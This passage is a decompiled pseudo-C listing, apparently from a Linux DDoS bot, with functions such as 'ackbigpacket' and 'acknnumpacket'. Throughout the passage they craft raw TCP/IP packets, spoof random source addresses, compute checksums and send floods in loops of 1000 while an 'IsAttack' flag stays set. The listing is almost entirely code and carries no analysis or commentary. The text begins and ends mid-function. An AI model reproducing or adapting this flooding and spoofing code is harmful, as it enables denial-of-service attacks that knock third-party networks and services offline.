- L0806F9E0(_t1365, __esi, &((char*)( &_v620)[2]), &(_v40[0x10]), 4);
- _v612 = 0;
- _v611 = (_v40[9]) & 255;
- _v610 = _v44 >> 8;
- _v609 = _v44;
- L0806F9E0(_t1365, __esi, &((char*)( &_v620)[6]), _v36, 20);
- L0806F9E0(_t1365, __esi, &((char*)( &_v620)[0x10]), _v32, 8);
- _t1181 = csum( &_v620, _v44 + 12);
- *(_v36 + 16) = _t1181;
- _v680 = 16;
- _v684 = &_v636;
- _v688 = 0;
- _v692 = (_v40[2]) & 65535 & 65535;
- _t1102 = L08052C20(__esi, _v56, &_v492);
- _v20 = _v20 + 1;
- continue;
- }
- goto L20;
- }
- }
- }
- }
- }
- L20:
- L08052A50(_v56);
- _t700 = L08051050();
- L08051000(_t700);
- *__esp = 0;
- L08050FE0();
- goto L21;
- L21:
- _push(_t1372);
- _t1373 = __esp;
- _push(_t1365);
- _push(__esi);
- _push(_t1196);
- __esp = __esp - 700;
- L0806F910( &_v924, 156);
- L0806F9E0(_t1365, __esi, &_v924, _v696, 156);
- _v766 = 16;
- _v1412 = 16;
- _t707 = &_v1344;
- *__esp = _t707;
- L0806F910();
- _v1408 = 6;
- L08073680(_t1196, __esp, 2, 3);
- _v764 = _t707;
- _v1344 = 2;
- _t709 = &_v924 + 16;
- L08075250(_t709);
- _v760 = _t709;
- if(_v760 != 0) {
- _t899 = L0806E4D0( &_v228 + 16, "0.0.0.0");
- if(_t899 == 0) {
- } else {
- _v60 = 0;
- _v60 = _v216;
- if(_v60 <= 0 || _v60 > 86400) {
- _v60 = 20;
- }
- _v644 = *( *( *(_v64 + 16)));
- _v56 = 20;
- _v52 = &_v504;
- _v48 = &_v504 + 20;
- _v44 = &_v504 + 40;
- *_v52 = *_v52 & 255 & 240 | 5;
- *_v52 = *_v52 & 255 & 15 | 64;
- (_v52[1]) = 0;
- (_v52[2]) = 60;
- *__esp = 31337;
- _t918 = L08075240(__esp);
- (_v52[4]) = _t918;
- (_v52[6]) = 0;
- (_v52[8]) = 250;
- (_v52[9]) = 6;
- (_v52[0xa]) = 0;
- (_v52[0x10]) = _v644;
- *__esp = _v84 & 65535;
- _t927 = L08075240(__esp);
- *((short*)(_v48 + 2)) = _t927;
- *__esp = 31337;
- _t929 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 4)) = _t929;
- *__esp = 0;
- _t931 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 8)) = _t931;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 240;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 15 | 160;
- *(_v48 + 13) = _v70 & 65535;
- *__esp = 57344;
- _t940 = L08075240(__esp);
- *((short*)(_v48 + 14)) = _t940;
- *((short*)(_v48 + 16)) = 0;
- *(_v48 + 18) = 0;
- if((_v56 & 3) != 0) {
- _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
- }
- _v56 = 40;
- _v652 = 1;
- _v40 = &_v652;
- _v1400 = 4;
- _v1404 = _v40;
- _v1408 = 3;
- _v1412 = 0;
- _t948 = _v68;
- *__esp = _t948;
- L08073640(_t1196, __esp);
- if(_t948 >= 0) {
- } else {
- _v36 = 0;
- while(1) {
- _t949 = IsAttack;
- if(_t949 == 0) {
- break;
- }
- _v32 = 0;
- while(_v32 <= 999) {
- L0805EBE0();
- _t1224 = _t949;
- _v684 = -2147450879;
- _v676 = ((_v684 * _t1224 >> 32) + _t1224 >> 15) - (_t1224 >> 31);
- _v676 = _t1224 - (_v676 << 16) - _v676;
- *__esp = _v676;
- _t959 = L08075230(__esp);
- _t960 = _v48;
- *((intOrPtr*)(_t960 + 4)) = _t959;
- L0805EBE0();
- _t1225 = _t960;
- _v684 = -2147450879;
- _v672 = ((_v684 * _t1225 >> 32) + _t1225 >> 15) - (_t1225 >> 31);
- _v672 = _t1225 - (_v672 << 16) - _v672;
- *__esp = _v672 & 65535 & 65535;
- _t971 = L08075240(__esp);
- _t972 = _v48;
- *((short*)(_t972 + 14)) = _t971;
- L0805EBE0();
- _t1226 = _t972;
- _v684 = -2147450879;
- _t1196 = ((_v684 * _t1226 >> 32) + _t1226 >> 15) - (_t1226 >> 31);
- _v668 = _t1196;
- _t1365 = _t1226 - (_v668 << 16) - _v668;
- _v668 = _t1226 - (_v668 << 16) - _v668;
- *_v48 = _v668 & 65535;
- _t983 = _v76 - _v80;
- _v28 = _t983;
- if(_v28 <= 0) {
- goto L41;
- } else {
- L0805EBE0();
- _v24 = _t983 % _v28 + _v80;
- L0806F850(_t1196, _t1365, __esi, &_v248, 0, 20);
- _v1396 = _v24 & 255;
- _v1400 = _v24 >> 8 & 255;
- _v1404 = _v24 >> 16 & 255;
- L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
- _t1000 = L08073B40( &_v248);
- (_v52[0xc]) = _t1000;
- L0806F850(_v24 >> 16 & 255, _t1365, __esi, &_v632, 0, 128);
- L0806F9E0(_t1365, __esi, &_v632, &(_v52[0xc]), 4);
- L0806F9E0(_t1365, __esi, &((char*)( &_v632)[2]), &(_v52[0x10]), 4);
- _v624 = 0;
- _v623 = (_v52[9]) & 255;
- _v622 = _v56 >> 8;
- _v621 = _v56;
- L0806F9E0(_t1365, __esi, &((char*)( &_v632)[6]), _v48, 20);
- L0806F9E0(_t1365, __esi, &((char*)( &_v632)[0x10]), _v44, 8);
- _t1028 = csum( &_v632, _v56 + 12);
- *((short*)(_v48 + 16)) = _t1028;
- _t1196 = &_v648;
- _t1031 = (_v52[2]) & 65535;
- __esi = _t1031 & 65535;
- L0805EBE0();
- _t1230 = _t1031;
- _v684 = -1600085855;
- _t1319 = _v684 * _t1230 >> 32;
- _t1036 = _t1230 >> 31;
- _t1365 = (_t1319 + _t1230 >> 7) - _t1036;
- _v664 = (_t1319 + _t1230 >> 7) - _t1036;
- _v664 = _t1230 - _t1036 * _v664;
- _v1396 = 16;
- _v1400 = _t1196;
- _v1404 = 0;
- _v1408 = __esi + _v664 + 800;
- _t949 = L08052C20(__esi, _v68, &_v504);
- _v32 = _v32 + 1;
- continue;
- }
- goto L41;
- }
- }
- }
- }
- }
- L41:
- L08052A50(_v68);
- _t712 = L08051050();
- L08051000(_t712);
- *__esp = 0;
- L08050FE0();
- goto L42;
- L42:
- _push(_t1373);
- _t1374 = __esp;
- _push(__esi);
- _push(_t1196);
- __esp = __esp - 704;
- L0806F910( &_v1648, 160);
- L0806F9E0(_t1365, __esi, &_v1648, _v1412, 160);
- _v1486 = 16;
- _v2128 = 16;
- _t719 = &_v2068;
- *__esp = _t719;
- L0806F910();
- _v2124 = 6;
- L08073680(_t1196, __esp, 2, 3);
- _v1484 = _t719;
- _v2068 = 2;
- _v1480 = _v1636;
- if(_v1480 <= 60 || _v72 > 800) {
- _v72 = 61;
- }
- _v68 = _v72 - 60;
- _t724 = &_v240 + 20;
- L08075250(_t724);
- _v64 = _t724;
- if(_v64 != 0) {
- _t750 = L0806E4D0( &_v240 + 20, "0.0.0.0");
- if(_t750 == 0) {
- } else {
- _v60 = 0;
- _v60 = _v224;
- if(_v60 <= 0 || _v60 > 86400) {
- _v60 = 20;
- }
- _v656 = *( *( *(_v64 + 16)));
- _v56 = 20;
- _v52 = &_v516;
- _v48 = &_v516 + 20;
- _v44 = &_v516 + 40;
- *_v52 = *_v52 & 255 & 240 | 5;
- *_v52 = *_v52 & 255 & 15 | 64;
- (_v52[1]) = 0;
- (_v52[2]) = 60;
- *__esp = 31337;
- _t769 = L08075240(__esp);
- (_v52[4]) = _t769;
- (_v52[6]) = 0;
- (_v52[8]) = 250;
- (_v52[9]) = 6;
- (_v52[0xa]) = 0;
- (_v52[0x10]) = _v656;
- *__esp = _v92 & 65535;
- _t778 = L08075240(__esp);
- *((short*)(_v48 + 2)) = _t778;
- *__esp = 31337;
- _t780 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 4)) = _t780;
- *__esp = 0;
- _t782 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 8)) = _t782;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 240;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 15 | 160;
- *(_v48 + 13) = _v78 & 65535;
- *__esp = 57344;
- _t791 = L08075240(__esp);
- *((short*)(_v48 + 14)) = _t791;
- *((short*)(_v48 + 16)) = 0;
- *(_v48 + 18) = 0;
- if((_v56 & 3) != 0) {
- _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
- }
- _v56 = 40;
- _v664 = 1;
- _v40 = &_v664;
- _v2116 = 4;
- _v2120 = _v40;
- _v2124 = 3;
- _v2128 = 0;
- _t799 = _v76;
- *__esp = _t799;
- L08073640(_t1196, __esp);
- if(_t799 >= 0) {
- } else {
- _v36 = 0;
- while(1) {
- _t800 = IsAttack;
- if(_t800 == 0) {
- break;
- }
- _v32 = 0;
- while(_v32 <= 999) {
- L0805EBE0();
- _t1216 = _t800;
- _v700 = -2147450879;
- _v688 = ((_v700 * _t1216 >> 32) + _t1216 >> 15) - (_t1216 >> 31);
- _v688 = _t1216 - (_v688 << 16) - _v688;
- *__esp = _v688;
- _t810 = L08075230(__esp);
- _t811 = _v48;
- *((intOrPtr*)(_t811 + 4)) = _t810;
- L0805EBE0();
- _t1217 = _t811;
- _v700 = -2147450879;
- _v684 = ((_v700 * _t1217 >> 32) + _t1217 >> 15) - (_t1217 >> 31);
- _v684 = _t1217 - (_v684 << 16) - _v684;
- *__esp = _v684 & 65535 & 65535;
- _t822 = L08075240(__esp);
- _t823 = _v48;
- *((short*)(_t823 + 14)) = _t822;
- L0805EBE0();
- _t1218 = _t823;
- _v700 = -2147450879;
- _t1268 = _v700 * _t1218 >> 32;
- _t1202 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
- _v680 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
- _v680 = _t1218 - (_v680 << 16) - _v680;
- *_v48 = _v680 & 65535;
- _t834 = _v84 - _v88;
- _v28 = _t834;
- if(_v28 <= 0) {
- goto L65;
- } else {
- L0805EBE0();
- _v24 = _t834 % _v28 + _v88;
- L0806F850(_t1202, _t1365, __esi, &_v260, 0, 20);
- _v2112 = _v24 & 255;
- _v2116 = _v24 >> 8 & 255;
- _v2120 = _v24 >> 16 & 255;
- L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
- _t851 = L08073B40( &_v260);
- (_v52[0xc]) = _t851;
- L0806F850(_v24 >> 16 & 255, _t1365, __esi, &_v644, 0, 128);
- L0806F9E0(_t1365, __esi, &_v644, &(_v52[0xc]), 4);
- L0806F9E0(_t1365, __esi, &((char*)( &_v644)[2]), &(_v52[0x10]), 4);
- _v636 = 0;
- _v635 = (_v52[9]) & 255;
- _v634 = _v56 >> 8;
- _v633 = _v56;
- L0806F9E0(_t1365, __esi, &((char*)( &_v644)[6]), _v48, 20);
- L0806F9E0(_t1365, __esi, &((char*)( &_v644)[0x10]), _v44, 8);
- _t879 = csum( &_v644, _v56 + 12);
- *(_v48 + 16) = _t879;
- __esi = &_v660;
- L0805EBE0();
- _v2112 = 16;
- _v2116 = __esi;
- _v2120 = 0;
- _v2124 = ((_v52[2]) & 65535 & 65535) + ((_v52[2]) & 65535) % _v68;
- _t800 = L08052C20(__esi, _v76, &_v516);
- _v32 = _v32 + 1;
- continue;
- }
- goto L65;
- }
- }
- }
- }
- }
- L65:
- L08052A50(_v76);
- _t727 = L08051050();
- L08051000(_t727);
- *__esp = 0;
- L08050FE0();
- goto L66;
- L66:
- _push(_t1374);
- __esp = __esp - 16;
- _v2148 = _v2124;
- _v2144 = _v2128;
- _v2140 = 0;
- _v2150 = 0;
- while(_v28 > 1) {
- _v20 = _v20 + ( *_v24 & 65535 & 65535);
- _v24 = _v24 + 2;
- _v28 = _v28 - 2;
- }
- }
- int ackbigpacket(_Unknown_base* ThreadData)
- {// addr = 0x0804B4FE
- SYNPACKET SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- intOrPtr _v16;
- signed int _v20;
- signed int _v24;
- _unknown_ _v26;
- signed int _v28;
- signed int _v32;
- char* _v36;
- intOrPtr _v40;
- signed int _v44;
- signed char* _v48;
- unsigned int _v52;
- unsigned int _v56;
- intOrPtr _v60;
- signed int _v64;
- signed int _v66;
- intOrPtr _v68;
- signed int _v72;
- signed short _v74;
- intOrPtr _v76;
- signed int _v80;
- intOrPtr _v84;
- signed int _v88;
- unsigned int _v212;
- unsigned int _v220;
- char _v224;
- char _v236;
- char _v244;
- char _v256;
- char _v500;
- char _v512;
- unsigned int _v617;
- unsigned short _v618;
- signed int _v619;
- signed int _v620;
- short unsigned int _v628;
- unsigned int _v629;
- unsigned short _v630;
- signed int _v631;
- signed int _v632;
- short unsigned int _v640;
- char _v644;
- char _v648;
- short unsigned int _v652;
- char _v656;
- char _v660;
- signed short _v664;
- signed short _v668;
- signed int _v672;
- signed short _v676;
- signed short _v680;
- signed int _v684;
- signed int _v696;
- signed int _v700;
- signed int _v704;
- signed char _v708;
- signed int _v712;
- intOrPtr _v780;
- signed int _v784;
- signed int _v786;
- intOrPtr _v936;
- char _v948;
- short _v1368;
- signed int _v1412;
- signed int _v1416;
- signed int _v1420;
- signed char _v1424;
- signed int _v1428;
- signed int _v1440;
- signed int _v1444;
- signed char _v1448;
- signed int _v1450;
- _unknown_ r6;
- _unknown_ _t483;
- signed int _t484;
- intOrPtr _t486;
- _unknown_ _t488;
- _unknown_ _t489;
- _unknown_ _t490;
- _unknown_ _t491;
- _unknown_ _t495;
- signed int _t496;
- intOrPtr _t501;
- _unknown_ _t503;
- _unknown_ _t504;
- _unknown_ _t505;
- _unknown_ _t506;
- _unknown_ _t527;
- signed char _t546;
- short _t555;
- intOrPtr _t557;
- intOrPtr _t559;
- short _t568;
- signed int _t576;
- signed int _t577;
- _unknown_ _t579;
- intOrPtr _t587;
- signed int _t588;
- _unknown_ _t590;
- short _t599;
- signed int _t600;
- _unknown_ _t602;
- signed int _t611;
- _unknown_ _t613;
- _unknown_ _t618;
- signed char _t628;
- _unknown_ _t631;
- _unknown_ _t635;
- _unknown_ _t640;
- _unknown_ _t649;
- _unknown_ _t653;
- short unsigned int _t656;
- _unknown_ _t661;
- _unknown_ _t676;
- signed char _t695;
- short _t704;
- intOrPtr _t706;
- intOrPtr _t708;
- short _t717;
- signed int _t725;
- signed int _t726;
- _unknown_ _t728;
- intOrPtr _t736;
- signed int _t737;
- _unknown_ _t739;
- short _t748;
- signed int _t749;
- _unknown_ _t751;
- signed int _t760;
- _unknown_ _t762;
- _unknown_ _t767;
- signed char _t777;
- _unknown_ _t780;
- _unknown_ _t784;
- _unknown_ _t789;
- _unknown_ _t798;
- _unknown_ _t802;
- short unsigned int _t805;
- signed int _t808;
- _unknown_ _t810;
- signed int _t813;
- signed int _t827;
- signed int _t842;
- signed int _t843;
- signed int _t844;
- signed int _t850;
- signed int _t851;
- signed int _t852;
- signed int _t856;
- signed int _t886;
- _unknown_ _t894;
- _unknown_ _t902;
- _unknown_ _t930;
- signed int _t937;
- _unknown_ _t950;
- signed int* _t951;
- _unknown_ _t952;
- _push(_t943);
- _push(__esi);
- _push(_t827);
- __esp = __esp - 700;
- L0806F910( &_v224, 156);
- L0806F9E0(_t943, __esi, &_v224, ThreadData, 156);
- _v66 = 16;
- _v712 = 16;
- _t484 = &_v644;
- *__esp = _t484;
- L0806F910();
- _v708 = 6;
- L08073680(_t827, __esp, 2, 3);
- _v64 = _t484;
- _v644 = 2;
- _t486 = &_v224 + 16;
- L08075250(_t486);
- _v60 = _t486;
- if(_v60 != 0) {
- _t676 = L0806E4D0( &_v224 + 16, "0.0.0.0");
- if(_t676 == 0) {
- } else {
- _v56 = 0;
- _v56 = _v212;
- if(_v56 <= 0 || _v56 > 86400) {
- _v56 = 20;
- }
- _v640 = *( *( *(_v60 + 16)));
- _v52 = 20;
- _v48 = &_v500;
- _v44 = &_v500 + 20;
- _v40 = &_v500 + 40;
- *_v48 = *_v48 & 255 & 240 | 5;
- *_v48 = *_v48 & 255 & 15 | 64;
- (_v48[1]) = 0;
- (_v48[2]) = 60;
- *__esp = 31337;
- _t695 = L08075240(__esp);
- (_v48[4]) = _t695;
- (_v48[6]) = 0;
- (_v48[8]) = 250;
- (_v48[9]) = 6;
- (_v48[0xa]) = 0;
- (_v48[0x10]) = _v640;
- *__esp = _v80 & 65535;
- _t704 = L08075240(__esp);
- *((short*)(_v44 + 2)) = _t704;
- *__esp = 31337;
- _t706 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 4)) = _t706;
- *__esp = 0;
- _t708 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 8)) = _t708;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 240;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 15 | 160;
- *(_v44 + 13) = _v66 & 65535;
- *__esp = 57344;
- _t717 = L08075240(__esp);
- *((short*)(_v44 + 14)) = _t717;
- *((short*)(_v44 + 16)) = 0;
- *(_v44 + 18) = 0;
- if((_v52 & 3) != 0) {
- _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
- }
- _v52 = 40;
- _v648 = 1;
- _v36 = &_v648;
- _v700 = 4;
- _v704 = _v36;
- _v708 = 3;
- _v712 = 0;
- _t725 = _v64;
- *__esp = _t725;
- L08073640(_t827, __esp);
- if(_t725 >= 0) {
- } else {
- _v32 = 0;
- while(1) {
- _t726 = IsAttack;
- if(_t726 == 0) {
- break;
- }
- _v28 = 0;
- while(_v28 <= 999) {
- L0805EBE0();
- _t850 = _t726;
- _v680 = -2147450879;
- _v672 = ((_v680 * _t850 >> 32) + _t850 >> 15) - (_t850 >> 31);
- _v672 = _t850 - (_v672 << 16) - _v672;
- *__esp = _v672;
- _t736 = L08075230(__esp);
- _t737 = _v44;
- *((intOrPtr*)(_t737 + 4)) = _t736;
- L0805EBE0();
- _t851 = _t737;
- _v680 = -2147450879;
- _v668 = ((_v680 * _t851 >> 32) + _t851 >> 15) - (_t851 >> 31);
- _v668 = _t851 - (_v668 << 16) - _v668;
- *__esp = _v668 & 65535 & 65535;
- _t748 = L08075240(__esp);
- _t749 = _v44;
- *((short*)(_t749 + 14)) = _t748;
- L0805EBE0();
- _t852 = _t749;
- _v680 = -2147450879;
- _t827 = ((_v680 * _t852 >> 32) + _t852 >> 15) - (_t852 >> 31);
- _v664 = _t827;
- _t943 = _t852 - (_v664 << 16) - _v664;
- _v664 = _t852 - (_v664 << 16) - _v664;
- *_v44 = _v664 & 65535;
- _t760 = _v72 - _v76;
- _v24 = _t760;
- if(_v24 <= 0) {
- goto L20;
- } else {
- L0805EBE0();
- _v20 = _t760 % _v24 + _v76;
- L0806F850(_t827, _t943, __esi, &_v244, 0, 20);
- _v696 = _v20 & 255;
- _v700 = _v20 >> 8 & 255;
- _v704 = _v20 >> 16 & 255;
- L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
- _t777 = L08073B40( &_v244);
- (_v48[0xc]) = _t777;
- L0806F850(_v20 >> 16 & 255, _t943, __esi, &_v628, 0, 128);
- L0806F9E0(_t943, __esi, &_v628, &(_v48[0xc]), 4);
- L0806F9E0(_t943, __esi, &((char*)( &_v628)[2]), &(_v48[0x10]), 4);
- _v620 = 0;
- _v619 = (_v48[9]) & 255;
- _v618 = _v52 >> 8;
- _v617 = _v52;
- L0806F9E0(_t943, __esi, &((char*)( &_v628)[6]), _v44, 20);
- L0806F9E0(_t943, __esi, &((char*)( &_v628)[0x10]), _v40, 8);
- _t805 = csum( &_v628, _v52 + 12);
- *((short*)(_v44 + 16)) = _t805;
- _t827 = &_v644;
- _t808 = (_v48[2]) & 65535;
- __esi = _t808 & 65535;
- L0805EBE0();
- _t856 = _t808;
- _v680 = -1600085855;
- _t937 = _v680 * _t856 >> 32;
- _t813 = _t856 >> 31;
- _t943 = (_t937 + _t856 >> 7) - _t813;
- _v660 = (_t937 + _t856 >> 7) - _t813;
- _v660 = _t856 - _t813 * _v660;
- _v696 = 16;
- _v700 = _t827;
- _v704 = 0;
- _v708 = __esi + _v660 + 800;
- _t726 = L08052C20(__esi, _v64, &_v500);
- _v28 = _v28 + 1;
- continue;
- }
- goto L20;
- }
- }
- }
- }
- }
- L20:
- L08052A50(_v64);
- _t489 = L08051050();
- L08051000(_t489);
- *__esp = 0;
- L08050FE0();
- goto L21;
- L21:
- _push(_t950);
- _t951 = __esp;
- _push(__esi);
- _push(_t827);
- __esp = __esp - 704;
- L0806F910( &_v948, 160);
- L0806F9E0(_t943, __esi, &_v948, _v712, 160);
- _v786 = 16;
- _v1428 = 16;
- _t496 = &_v1368;
- *__esp = _t496;
- L0806F910();
- _v1424 = 6;
- L08073680(_t827, __esp, 2, 3);
- _v784 = _t496;
- _v1368 = 2;
- _v780 = _v936;
- if(_v780 <= 60 || _v68 > 800) {
- _v68 = 61;
- }
- _v64 = _v68 - 60;
- _t501 = &_v236 + 20;
- L08075250(_t501);
- _v60 = _t501;
- if(_v60 != 0) {
- _t527 = L0806E4D0( &_v236 + 20, "0.0.0.0");
- if(_t527 == 0) {
- } else {
- _v56 = 0;
- _v56 = _v220;
- if(_v56 <= 0 || _v56 > 86400) {
- _v56 = 20;
- }
- _v652 = *( *( *(_v60 + 16)));
- _v52 = 20;
- _v48 = &_v512;
- _v44 = &_v512 + 20;
- _v40 = &_v512 + 40;
- *_v48 = *_v48 & 255 & 240 | 5;
- *_v48 = *_v48 & 255 & 15 | 64;
- (_v48[1]) = 0;
- (_v48[2]) = 60;
- *__esp = 31337;
- _t546 = L08075240(__esp);
- (_v48[4]) = _t546;
- (_v48[6]) = 0;
- (_v48[8]) = 250;
- (_v48[9]) = 6;
- (_v48[0xa]) = 0;
- (_v48[0x10]) = _v652;
- *__esp = _v88 & 65535;
- _t555 = L08075240(__esp);
- *((short*)(_v44 + 2)) = _t555;
- *__esp = 31337;
- _t557 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 4)) = _t557;
- *__esp = 0;
- _t559 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 8)) = _t559;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 240;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 15 | 160;
- *(_v44 + 13) = _v74 & 65535;
- *__esp = 57344;
- _t568 = L08075240(__esp);
- *((short*)(_v44 + 14)) = _t568;
- *((short*)(_v44 + 16)) = 0;
- *(_v44 + 18) = 0;
- if((_v52 & 3) != 0) {
- _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
- }
- _v52 = 40;
- _v660 = 1;
- _v36 = &_v660;
- _v1416 = 4;
- _v1420 = _v36;
- _v1424 = 3;
- _v1428 = 0;
- _t576 = _v72;
- *__esp = _t576;
- L08073640(_t827, __esp);
- if(_t576 >= 0) {
- } else {
- _v32 = 0;
- while(1) {
- _t577 = IsAttack;
- if(_t577 == 0) {
- break;
- }
- _v28 = 0;
- while(_v28 <= 999) {
- L0805EBE0();
- _t842 = _t577;
- _v696 = -2147450879;
- _v684 = ((_v696 * _t842 >> 32) + _t842 >> 15) - (_t842 >> 31);
- _v684 = _t842 - (_v684 << 16) - _v684;
- *__esp = _v684;
- _t587 = L08075230(__esp);
- _t588 = _v44;
- *((intOrPtr*)(_t588 + 4)) = _t587;
- L0805EBE0();
- _t843 = _t588;
- _v696 = -2147450879;
- _v680 = ((_v696 * _t843 >> 32) + _t843 >> 15) - (_t843 >> 31);
- _v680 = _t843 - (_v680 << 16) - _v680;
- *__esp = _v680 & 65535 & 65535;
- _t599 = L08075240(__esp);
- _t600 = _v44;
- *((short*)(_t600 + 14)) = _t599;
- L0805EBE0();
- _t844 = _t600;
- _v696 = -2147450879;
- _t886 = _v696 * _t844 >> 32;
- _t833 = (_t886 + _t844 >> 15) - (_t844 >> 31);
- _v676 = (_t886 + _t844 >> 15) - (_t844 >> 31);
- _v676 = _t844 - (_v676 << 16) - _v676;
- *_v44 = _v676 & 65535;
- _t611 = _v80 - _v84;
- _v24 = _t611;
- if(_v24 <= 0) {
- goto L44;
- } else {
- L0805EBE0();
- _v20 = _t611 % _v24 + _v84;
- L0806F850(_t833, _t943, __esi, &_v256, 0, 20);
- _v1412 = _v20 & 255;
- _v1416 = _v20 >> 8 & 255;
- _v1420 = _v20 >> 16 & 255;
- L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
- _t628 = L08073B40( &_v256);
- (_v48[0xc]) = _t628;
- L0806F850(_v20 >> 16 & 255, _t943, __esi, &_v640, 0, 128);
- L0806F9E0(_t943, __esi, &_v640, &(_v48[0xc]), 4);
- L0806F9E0(_t943, __esi, &((char*)( &_v640)[2]), &(_v48[0x10]), 4);
- _v632 = 0;
- _v631 = (_v48[9]) & 255;
- _v630 = _v52 >> 8;
- _v629 = _v52;
- L0806F9E0(_t943, __esi, &((char*)( &_v640)[6]), _v44, 20);
- L0806F9E0(_t943, __esi, &((char*)( &_v640)[0x10]), _v40, 8);
- _t656 = csum( &_v640, _v52 + 12);
- *(_v44 + 16) = _t656;
- __esi = &_v656;
- L0805EBE0();
- _v1412 = 16;
- _v1416 = __esi;
- _v1420 = 0;
- _v1424 = ((_v48[2]) & 65535 & 65535) + ((_v48[2]) & 65535) % _v64;
- _t577 = L08052C20(__esi, _v72, &_v512);
- _v28 = _v28 + 1;
- continue;
- }
- goto L44;
- }
- }
- }
- }
- }
- L44:
- L08052A50(_v72);
- _t504 = L08051050();
- L08051000(_t504);
- *__esp = 0;
- L08050FE0();
- goto L45;
- L45:
- _push(_t951);
- __esp = __esp - 16;
- _v1448 = _v1424;
- _v1444 = _v1428;
- _v1440 = 0;
- _v1450 = 0;
- while(_v24 > 1) {
- _v16 = _v16 + ( *_v20 & 65535 & 65535);
- _v20 = _v20 + 2;
- _v24 = _v24 - 2;
- }
- }
- int acknnumpacket(_Unknown_base* ThreadData)
- {// addr = 0x0804BB4A
- SYNPACKET_NUM SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- int topNum;
- int randNum;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- intOrPtr _v12;
- signed int _v16;
- signed int _v20;
- _unknown_ _v22;
- signed int _v24;
- signed int _v28;
- signed int _v32;
- intOrPtr _v36;
- signed int _v40;
- signed char* _v44;
- unsigned int _v48;
- unsigned int _v52;
- intOrPtr _v56;
- signed int _v60;
- intOrPtr _v64;
- signed int _v68;
- signed int _v70;
- intOrPtr _v76;
- intOrPtr _v80;
- signed int _v84;
- unsigned int _v216;
- intOrPtr _v220;
- char _v232;
- char _v252;
- char _v508;
- unsigned int _v625;
- unsigned short _v626;
- signed int _v627;
- signed int _v628;
- short unsigned int _v636;
- signed char _v648;
- char _v652;
- char _v656;
- signed short _v672;
- signed short _v676;
- signed int _v680;
- signed int _v692;
- signed int _v696;
- signed int _v700;
- signed int _v704;
- signed char _v708;
- signed int _v712;
- signed int _v724;
- signed int _v728;
- signed char _v732;
- signed int _v734;
- _unknown_ r6;
- _unknown_ _t260;
- signed int _t261;
- intOrPtr _t266;
- _unknown_ _t268;
- _unknown_ _t269;
- _unknown_ _t270;
- _unknown_ _t271;
- _unknown_ _t292;
- signed char _t311;
- short _t320;
- intOrPtr _t322;
- intOrPtr _t324;
- short _t333;
- signed int _t341;
- signed int _t342;
- _unknown_ _t344;
- intOrPtr _t352;
- signed int _t353;
- _unknown_ _t355;
- short _t364;
- signed int _t365;
- _unknown_ _t367;
- signed int _t376;
- _unknown_ _t378;
- _unknown_ _t383;
- signed char _t393;
- _unknown_ _t396;
- _unknown_ _t400;
- _unknown_ _t405;
- _unknown_ _t414;
- _unknown_ _t418;
- short unsigned int _t421;
- _unknown_ _t426;
- _unknown_ _t439;
- signed int _t448;
- signed int _t449;
- signed int _t450;
- signed int _t482;
- _unknown_ _t490;
- _unknown_ _t498;
- _unknown_ _t501;
- _unknown_ _t502;
- _push(__esi);
- _push(_t439);
- __esp = __esp - 704;
- L0806F910( &_v232, 160);
- L0806F9E0(__edi, __esi, &_v232, ThreadData, 160);
- _v70 = 16;
- _v712 = 16;
- _t261 = &_v652;
- *__esp = _t261;
- L0806F910();
- _v708 = 6;
- L08073680(_t439, __esp, 2, 3);
- _v68 = _t261;
- _v652 = 2;
- _v64 = _v220;
- if(_v64 <= 60 || _v64 > 800) {
- _v64 = 61;
- }
- _v60 = _v64 - 60;
- _t266 = &_v232 + 20;
- L08075250(_t266);
- _v56 = _t266;
- if(_v56 != 0) {
- _t292 = L0806E4D0( &_v232 + 20, "0.0.0.0");
- if(_t292 == 0) {
- } else {
- _v52 = 0;
- _v52 = _v216;
- if(_v52 <= 0 || _v52 > 86400) {
- _v52 = 20;
- }
- _v648 = *( *( *(_v56 + 16)));
- _v48 = 20;
- _v44 = &_v508;
- _v40 = &_v508 + 20;
- _v36 = &_v508 + 40;
- *_v44 = *_v44 & 255 & 240 | 5;
- *_v44 = *_v44 & 255 & 15 | 64;
- (_v44[1]) = 0;
- (_v44[2]) = 60;
- *__esp = 31337;
- _t311 = L08075240(__esp);
- (_v44[4]) = _t311;
